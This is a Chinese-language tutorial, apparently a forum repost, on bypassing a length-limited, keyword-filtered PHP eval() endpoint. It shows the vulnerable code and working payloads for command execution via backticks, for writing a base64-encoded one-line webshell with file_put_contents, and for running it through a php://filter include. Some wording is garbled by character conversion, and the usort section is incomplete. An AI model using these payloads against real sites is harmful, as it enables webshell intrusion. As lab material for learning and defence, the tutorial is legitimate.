目次
一、EVAL长度限定突破技巧
1、简单绕过技巧:(`$_GET[1]`)
1.1首先我们先创建一个web.php文件
1.2利用`$_GET[1]`拿到webshell
2、文件包罗利用
2.1利用$_GET[1]写入文件
2.2文件包罗方式执行文件
2.3将页面执行出来的base64编码举行解码就是一个一句话木马
3、利用usort(...$_GET)技巧突破限定;
3.1抓包
3.2将内容发送已往发现出现错误,这里是因为我是php7.3.4的版本,这个弊端已经被修复了所以看不到结果,将版本更换为php5.6即可
一、EVAL长度限定突破技巧
1、简单绕过技巧:(`$_GET[1]`)
1.1首先我们先创建一个web.php文件
- <?php
- $param = $_REQUEST['param']; If (
- strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
- ) {
- eval($param);
- }
复制代码 这里的意思是,对只要出现eval和assert这两个函数举行限定,对长度限定是要小于7
这里的param就是吸收的参数,那么我们就可以在网页上举行绕过限定得到我们想要的页面,比方我们运行phpinfo的页面
192.168.171.136/web.php?param=phpinfo();
1.2利用`$_GET[1]`拿到webshell
编写语句
web.php?param=echo `$_GET[1]`;&1=id;,这里``就是将下令执行转换为了代码执行
注释:这里&后的1等于的是id
这里必须注意要在&前面添加分号,ascii必须要echo才气输出内容
2、文件包罗利用
2.1利用$_GET[1]写入文件
注释:file_put_contents¶m=$_GET[1](N,P,8)
param传的参数是$_GET[1],$_GET[1]相称于写的是file_put_contents;1吸收的参数是N,P,8,N是要写入的文件名,P是一句话木马的base64的编码也就是我们要写入文件里的具体参数,8是追加参数
转换成base64是因为有些字符不能追加,比如^,
执行后就可以看到Linux 文件目次下多了一个文件N里面也追加成功了内容
2.2文件包罗方式执行文件
param=include$_GET[1];&1=php://filter/read=convert.b ase64-decode/resource=N
include就是包罗的意思,这里的文件包罗就是把吸收到所有文件当作是php文件来执行
2.3将页面执行出来的base64编码举行解码就是一个一句话木马
3、利用usort(...$_GET)技巧突破限定;
php、JS中可变长参数表示:...
3.1抓包
3.2将内容发送已往发现出现错误,这里是因为我是php7.3.4的版本,这个弊端已经被修复了所以看不到结果,将版本更换为php5.6即可
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |